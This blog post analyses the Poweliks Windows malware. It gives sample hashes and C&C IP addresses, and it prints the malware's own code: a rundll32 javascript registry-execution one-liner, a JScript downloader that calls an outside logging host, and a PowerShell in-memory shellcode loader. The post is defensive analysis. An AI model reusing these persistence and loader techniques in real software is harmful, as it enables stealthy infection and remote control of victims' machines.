Poweliks Malware Analysis

  • Posted on: 5 August 2014
  • By: siteadm

If you haven't heard about this piece of malware, you can read more about it here
This malware uses CVE-2012-0158 vulnerability to initially infect a computer. It has been sent as a spam mail claiming to be from Canada post or USPS. Anyway, as vulnerability is almost two years old, I'll just analyze the malware sample.

Malware hashes:

Sample 1:

MD5: A4CE3481D479362FB0F57B6B8A11D0A2

SHA-1: F60B3B419C101F07FF48AE3079018596463FD589

Sample 2:

MD5: 0181850239CD26B8FB8B72AFB0E95EAC

SHA-1: BFA2DC3B9956A88A2E56BD6AB68D1F4F675A425A

Both files have Version info in their resources directory with following details: CompanyName: System Unknown FileDescription: Systen [sic] Unknown File FileVersion: 0.0.0.2 LegalCopyright: Copyright (C) 2012 OriginalFileName: Unknown ProductName: Unknown

At entry point of first sample, it does have some odd API calls:
* Call to IsCharSpaceW("8") which is false
* Loop through each letter of "CLEAR" text using StrChrW and IsCharAlphaW which will return true per each letter
* Call to lstrcmpiW with two arguments "NEST" and "NEST", so basically it will also return true
* Call to OpenProcess with 0 as PID argument.
* Call to GetSystemDirectoryA
* Call to GetFileInformationByHandle and passing NULL as handle.
* Add non-unicode "BASIC" string into global atom table using Unicode version of GlobalAddAtomW API.
* Call to SizeofResource with NULL as hResource and hModule arguments.
* Call to IsDBCSLeadByteEx with 0x839 as codepage argument and 0x23 as testchar argument. As 0x23 is not a lead byte, it will always return 0.

After all these API calls, it jumps to main code of malware. As first step, malware decrypts second stage of it's code and jumps there. At second stage:
* Initially Poweliks allocates a memory page with size of 0x15000 (84kb) with read, write and execute access.
* Copies it's own binary into newly allocated memory page and executes it. (If you want to skip all steps above and jump right here, you can set a breakpoint at: 0040529E . FF10 CALL DWORD PTR DS:[EAX])

In next stage, there is an interesting call to CopyFile API: CopyFile(CurrentFile, CurrentFile + ":0", FALSE). After successful copy call, it uses newly copied ADS (Alternate Data Stream) file as an argument for CreateProcessA. A lot of malwares uses very same technique. But if you've installed your windows in a FAT32 drive, this call would fail and Poweliks simply terminates itself after this call.
Servers Poweliks uses are hardcoded as two IP addresses inside it, it formats them with a call to ntdll.sscanf:

ntdll.sscanf("%[^;];%[^;];%[^;];%[^;];%s", "060414;8;178.89.159.34,178.89.159.35;1");

So Poweliks C&C servers IP addresses are: 178.89.159.34 and 178.89.159.35
After connection to servers, as first packet, it tries to send a packet with infected computer's basic version info:

"type=start&version=1.0&aid=8&builddate=060414&id=b2ada9b4ec65&os=6.1.7601_1.0_32"

For os= part, it uses snprintf with "%1d.%1d.%04d_%1d.%1d" as format parameter to string received from GetVersionExA API call.
Rest is constant strings about builddate and version info of malware.
If you wonder, how malware detects that it's running the ADS version or normal version, so it won't keep copying itself to ADS and create new processes, it simply check it with these API calls (pseudo code):

 

hModule = GetModuleHandleA(null); // get handle to current module 
GetModuleFileNameA(hModule, strBuffer, 260); // get current process filename 
ret = ntdll.strstr(strBuffer, ":0") // if it doesn't includes :0 string (ADS) 
if (ret == 0) { 
    CopyFile(curfile, curfile + ":0", false); // Create ADS file 
    CreateProcess(......) // re-launch app from ADS stream file 
} else { 
    tryagain: 
    ret = DeleteFile(OriginalFile);
    if (!ret) // Failed to Delete 
    {
        Sleep(1000); 
        goto tryagain: 
    } KeepRunning() // Original process terminated, afterward deleted successfully, so now keep running from ADS 

IP addresses of this malware belongs to city of Taraz which is in the center of Jambyl Province in Kazakhstan. We can't say for sure that malware authors are from Kazakhstan, because this IP addresses belong to a hosting company called prostohost.kz.

Another interesting point in this malware is it tries to execute what is stored in "Default" value inside this key HKCU\Software\Microsoft\Windows\CurrentVersion\Run using following code:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript.encode>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>")

If you navigate in Registry to above key, you'll probably see this:

Code above, will encode and execute string from default value inside run key. It does have multi-stage code to run, here is details:

First stage:

 

function log(l){try{x=new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://faebd7.com/log?log="+l,false);x.send();return 1;}catch(e){return 0;}}e=123;a=new ActiveXObject("WScript.Shell");while(e!=42){try{w=a.ExpandEnvironmentStrings("%windir%");p=w+"\\system32\\windowspowershell\\v1.0\\powershell.exe";f=new ActiveXObject("Scripting.FileSystemObject");function cdn(){try{return a.RegRead("HKLM\\software\\microsoft\\net framework setup\\ndp\\v2.0.50727\\sp");}catch(e){return 0;}}function d(u){x=new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET",u,false);x.send();ufn=a.ExpandEnvironmentStrings("%temp%\\")+u.substring(u.lastIndexOf("/")+1);ufnt=ufn+".tmp";uft=f.CreateTextFile(ufnt,true,-1);if(uft){uft.Write(x.responseBody);uft.Close();uf=f.CreateTextFile(ufn,true);uft=f.GetFile(ufnt);ufs=uft.OpenAsTextStream();ufs.Read(2);uf.Write(ufs.Read(uft.Size-2));ufs.Close();uf.Close();f.DeleteFile(ufnt);a.Run("\""+ufn+"\" /quiet /norestart",0,1);f.DeleteFile(ufn);}}while(!f.FileExists(p)){if(cdn()==0){d("");}d("");}(a.Environment("Process"))("a")="iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('ZnVuY3........')))";e=a.Run(p+" iex $env:a",0,1);}catch(e){log("scriptexcept_"+e.message);close();}};close(); 

As you can see it's base64 encoded string, so we decode it and here you can see next stage:

function gd{Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters,[Parameter(Position=1)] [Type] $ReturnType=[Void]); $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("MyDelegateType","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); return $TypeBuilder.CreateType(); }function ga{Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure); $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split("\\")[-1].Equals("System.dll")}; $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),$UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))),$Procedure)); }[Byte[]] $p=[Convert]::FromBase64String("VYvsg........"); [Uint32[]] $op=0; ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga kernel32.dll VirtualProtect),(gd @([Byte[]],[UInt32],[UInt32],[UInt32[]]) ([IntPtr])))).Invoke($p,15108,0x40,$op); ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga user32.dll CallWindowProcA),(gd @([Byte[]],[Byte[]],[UInt32],[UInt32],[UInt32]) ([IntPtr])))).Invoke($p,$p,0,0,0);

Basically, what it does is, it finds VirtualProtect API address to give read, write and execute permission to allocated memory page for $p variable which holds shellcode (after base64 decoding) with size of 15108. Then it call CalLWindowProcA to execute this area of memory. Pseudo code will be: VirtualProtect(base64decodedshellcode, 15108, 0x40, op); CallWindowProcA(base64decodedshellcode, base64decodedshellcode, 0,0,0);

So using codes above, it successfully loads, decodes, sets required permissions for and executes a shellcode. This is the unique feature of this malware that got attentions. Decrypted shellcode MD5 should be 70ACF0A3C327364305AA0DD9E9856768.
At offset 0x0000144C, you'll see a PE file in clear text:

This file is compressed using MPRESS version 0.81-2.xx. Compressed PE file's MD5 is: D6725D6F8C84AFCB2E7EABE4683E0512. This file is DLL and it also communicates to both IP address in Kazakhstan and waits for commands.

For more information/questions you can always contact me.

Add new comment

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.
CAPTCHA
This question is for testing whether or not you are a human visitor and to prevent automated spam submissions.
Image CAPTCHA
Enter the characters shown in the image.